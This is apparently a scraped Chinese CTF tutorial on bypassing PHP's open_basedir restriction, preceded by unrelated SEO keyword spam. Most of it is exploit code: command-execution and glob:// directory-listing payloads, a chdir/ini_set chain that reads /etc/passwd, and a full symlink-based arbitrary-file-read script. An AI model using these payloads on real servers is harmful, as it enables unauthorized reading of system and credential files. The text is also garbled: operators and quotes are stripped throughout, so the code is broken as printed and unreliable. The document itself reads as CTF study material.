网站挖掘工具,在东莞找工作上哪个网站,做淘客网站备案,网页制作基础教程visual studio code讲解
open_basedir是php.ini中的一个配置选项#xff0c;可用于将用户访问文件的活动范围限制在指定的区域。
假设open_basedir/var/www/html/web1/:/tmp/#xff0c;那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1/和/tmp/这两个目录以外的文件。…讲解
open_basedir是php.ini中的一个配置选项可用于将用户访问文件的活动范围限制在指定的区域。
假设open_basedir/var/www/html/web1/:/tmp/那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1/和/tmp/这两个目录以外的文件。
ctfshow题目
error_reporting(0);
highlight_file(__FILE__);eval($_POST[1]);
利用命令执行函数Bypass
open_basedir对命令执行函数没有限制我们可以使用system()函数读到目标文件
利用glob://伪协议Bypass
只是用glob://伪协议是无法直接绕过的它需要结合其他函数组合利用主要有以下两种利用方式局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件不能列出除前面的目录以外的目录中的文件且不能读取文件内容。
方式1—DirectoryIteratorglob:// DirectoryIterator是php5中增加的一个类为用户提供一个简单的查看目录的接口。 DirectoryIterator与glob://结合将无视open_basedir列举出根目录下的文件
?php
一句话payload
$c glob:///*
$a new DirectoryIterator($c);
foreach($a as $f){echo($f-__toString().br);
}
?方式2——opendir()readdir()glob:// opendir()函数为打开目录句柄readdir()函数为从目录句柄中读取条目
一句话
c$aopendir(./); while (($file readdir($a)) ! false){echo $file . br; };exit(0);利用chdir()与ini_set()组合Bypass
payload其中chdir(..)尽量多确保到达根目录
mkdir(mi1k7ea);chdir(mi1k7ea);ini_set(open_basedir,..);chdir(..);chdir(..);chdir(..);chdir(..);ini_set(open_basedir,/);echo file_get_contents(/etc/passwd);P神脚本绕过
传参file为
?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header(content-type: text/plain);
error_reporting(-1);
ini_set(display_errors, TRUE);
printf(open_basedir: %s\nphp_version: %s\n, ini_get(open_basedir), phpversion());
printf(disable_functions: %s\n, ini_get(disable_functions));
$file str_replace(\\, /, isset($_REQUEST[file]) ? $_REQUEST[file] : /etc/passwd);
$relat_file getRelativePath(__FILE__, $file);
$paths explode(/, $file);
$name mt_rand() % 999;
$exp getRandStr();
mkdir($name);
chdir($name);
for($i 1 ; $i count($paths) - 1 ; $i){mkdir($paths[$i]);chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i - 1; $i 0; $i--) { chdir(..);
}
$paths explode(/, $relat_file);
$j 0;
for ($i 0; $paths[$i] ..; $i) { mkdir($name);chdir($name);$j;
}
for ($i 0; $i $j; $i) { chdir(..);
}
$tmp array_fill(0, $j 1, $name);
symlink(implode(/, $tmp), tmplink);
$tmp array_fill(0, $j, ..);
symlink(tmplink/ . implode(/, $tmp) . $file, $exp);
unlink(tmplink);
mkdir(tmplink);
delfile($name);
$exp dirname($_SERVER[SCRIPT_NAME]) . /{$exp};
$exp http://{$_SERVER[SERVER_NAME]}{$exp};
echo \n-----------------content---------------\n\n;
echo file_get_contents($exp);
delfile(tmplink);function getRelativePath($from, $to) {// some compatibility fixes for Windows paths$from rtrim($from, \/) . /;$from str_replace(\\, /, $from);$to str_replace(\\, /, $to);$from explode(/, $from);$to explode(/, $to);$relPath $to;foreach($from as $depth $dir) {// find first non-matching dirif($dir $to[$depth]) {// ignore this directoryarray_shift($relPath);} else {// get number of remaining dirs to $from$remaining count($from) - $depth;if($remaining 1) {// add traversals up to first matching dir$padLength (count($relPath) $remaining - 1) * -1;$relPath array_pad($relPath, $padLength, ..);break;} else {$relPath[0] ./ . $relPath[0];}}}return implode(/, $relPath);
}function delfile($deldir){if (is_file($deldir)) {chmod($deldir,0777);return unlink($deldir);}else if(is_dir($deldir)){if(($mydir opendir($deldir)) NULL) return false;while(false ! ($file readdir($mydir))){$name File_Str($deldir./.$file);if(($file!.) ($file!..)){delfile($name);}} closedir($mydir);chmod($deldir,0777);return rmdir($deldir) ? true : false;}
}function File_Str($string)
{return str_replace(//,/,str_replace(\\,/,$string));
}function getRandStr($length 6) {$chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789;$randStr ;for ($i 0; $i $length; $i) {$randStr . substr($chars, mt_rand(0, strlen($chars) - 1), 1);}return $randStr;
}